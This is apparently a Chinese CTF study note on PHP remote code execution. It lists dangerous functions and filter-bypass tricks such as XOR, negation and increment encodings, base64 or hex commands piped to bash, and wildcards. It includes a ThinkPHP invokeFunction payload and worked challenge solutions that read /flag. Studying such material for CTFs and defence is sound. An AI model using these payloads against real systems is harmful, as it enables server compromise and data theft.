RCE漏洞
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
常见RCE漏洞函数
系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
- system(“cat /flag”)才能读取flag,不要把双引号漏掉!!!
- get传参的时候不用使用引号
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显),但不会输出;
- exec()不会回显,所以需要输出到文件中进行查看
- 可以使用
exec(ls / | tee 1.txt)
,然后输入网址/1.txt
来查看
shell_exec():能将字符串作为OS命令执行
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号:反引号
内的字符串会被解析为OS命令;
代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
RCE绕过
管道符
管道符 | 实例 | 描述 |
---|---|---|
; | A;B | 无论真假,A与B都执行 |
& | A&B | 无论真假,A与B都执行 |
&& | A&&B | A为真时才执行B,否则只执行A |
| | A|B | 显示B的执行结果 |
|| | A||B | A为假时才执行B,否则只执行A |
空格过滤
以下可代替空格 | ||
---|---|---|
< | <> | %20(即space) |
%09(即tab) | $IFS$9 | ${IFS} |
$IFS | {cat,/flag} |
反斜杠\绕过
//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /
取反绕过
//取反绕过
<?php
// 向标准输出写入提示信息,要求用户输入一个函数名
fwrite(STDOUT,'[+]your function: ');
// 从标准输入读取一行用户输入,移除回车符,并存储在$system变量中
// 注意:这里没有对输入进行验证或过滤,存在安全风险
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
// 向标准输出写入提示信息,要求用户输入一个命令
fwrite(STDOUT,'[+]your command: ');
// 从标准输入读取一行用户输入,移除回车符,并存储在$command变量中
// 同样,这里也没有对输入进行验证或过滤,存在安全风险
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
// 然后对结果进行URL编码,并输出一个格式化的字符串
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>
异或绕过
# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(f'"{tmp1}"^"{tmp2}"')
//异或php脚本
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j = 0; $j < strlen($a); $j++)
echo "%ff";
?>
//ord($a[$i]):这个部分是获取字符串 $a 中索引为 $i 的字符的 ASCII 值。
//^0xff:这个部分是对 ASCII 值执行异或操作,将其与十六进制数 0xff 进行异或操作,相当于将其每个比特位都取反。
//dechex():这个函数将十进制数转换为十六进制表示。
//echo '%' . dechex(ord($a[$i])^0xff);:最终将转换后的十六进制数输出,以 '%' 开头。
//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
//简单例题:flag在phpinfo()中,需要执行php命令:phpinfo();
<?php
show_source(__FILE__); // 将会在页面中显示当前文件的源代码。
$mess = $_POST['mess'];
if(preg_match("/[a-zA-Z]/", $mess)){
die("invalid input!");
}
eval($mess);
//构造payload,字符串phpinfo异或结果为“0302181"^"@[@[_^^”
mess = $_="0302181"^"@[@[_^^";$_();
自增绕过
//自增payload,assert($_POST[_]),命令传入_
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();
黑名单绕过
//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
//读取根目录
eval(var_dump(scandir('/'););
//或使用glob("*")来查看所有的文件
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
//等效于打开ls目录下的文件
cat `ls`
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可
//php标签绕过
?><?= phpinfo(); ?>
base和hex编码绕过
//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash
//shellcode编码
//十六进制编码
正则匹配绕过
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
cat `ls`(会先执行ls,然后再cat,如果flag.php刚好在ls底下的话)
引号绕过
//如cat、ls被绕过
ca""t /flag
l's' /
cat替换命令
more | less | cat | tac |
---|---|---|---|
head | tail | vi | vim |
nl | od | sort | uniq |
strings | paste |
tac | 与cat相反,按行反相输出 |
---|---|
more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
less | 与more类似 |
tail | 查看文件末几行 |
head | 查看文件首几行 |
nl | 在cat查看文件的基础上显示行号 |
od | 以二进制方式读文件,od -A d -c /flag转入可读字符 |
xxd | 以二进制方式读文件,同时有可读字符显示 |
sort | 排序文件 |
uniq | 报告或删除文件的重复行 |
file -f | 报错文件内容 |
grep | 过滤查找字符串,grep flag /flag |
回溯绕过
//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False
无回显RCE
利用getallheaders()、get_defined_vars()、session_id等;
无字母数字RCE
异或、取反、自增、临时文件上传;
问号过滤
使用php执行linux命令,即重新写一段php代码。
案例1
源码:
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
解题流程:
- 问号过滤——
<script language='php'>system('ls /')</script>
- 空格过滤——%09
<script%09language='php'>system('ls%09/')</script>
- flag过滤——通配符
<script%09language='php'>system('cat%09/fl*')</script>
- 读取文件内容——strings/paste
<script%09language='php'>system('strings%09/fl*')</script>
"/"被过滤
127.0.0.1|ls;cd 已知目录;ls;cd...进行绕
截断被过滤
后面:&&(要进行url编码成%26%26) , || , %0a,
语句中:%09 , <(用于拼接命令,比如nl<fl??.php) , '' ,$IFS
hash_hmac()
语法:
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string
参数说明:
algo:使用的哈希算法,例如“md5”、“sha256”等。
data:要哈希的消息。
key:密钥(字符串)用于对消息进行哈希。
raw_output:如果设置为TRUE,则返回原始二进制数据。否则,默认以十六进制字符串格式输出。
如果$data传入的值为数组,那么就会返回NULL
所以假如 d a t a = data= data=_POST[‘a’];那么令a[]=1即可整个函数的返回值为null
RCE漏洞危害
- 继承Web服务器程序权限,去执行系统命令;
- 继承Web服务器权限,读写文件;
- 反弹shell;
- 控制整个网站甚至是服务器;
RCE漏洞防护
- 对用户的输入作严格的过滤,如白名单策略
- 尽量不适用容易产生漏洞的危险函数
- 保证用户不用控制危险函数的传参
案例
一(你看懂了吗?)
谁帮我看看这段代码什么意思:s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
二(我嘞个豆,直接highlight_file就可以了吗?)
-
页面提示存在代码执行
-
输入
?cmd=system("ls");
没有反应,但是输入?cmd=phpinfo();
却可以执行。 -
可以查看页面下存在哪些文件,输入
?cmd=print_r(scandir("./"));
或?cmd=print_r(glob("*"));
都可以查看目录下文件 -
输入
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
即可获取flag。
三(不是哥们,你过滤的有点多啊?!)
题目源码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
此段代码要求cmd不能含有除了p以外的大小写字母和数字,且不能含有特殊字符:$~!@#%^&等等。可以使用的有:p ` ? / + < > =
关键就是自己写一个读取的文件,然后该文件会生成一个临时文件,通过eval($cmd)来读取这个临时文件以来运行读取的文件。
1.构造cmd:cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
2.<?= $cmd ?> 等于 <?php echo($cmd) ?>
3.在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。
4. 点命令等于source命令,用来执行文件
5.URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。
6.临时文件命名规则: 默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp linux下:phpXXXXXX。
7.通配符:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
用burpsuite发送POST请求,上传文件(不是呀,为什么纪要上传文件啊?框出的为要修改的部分)。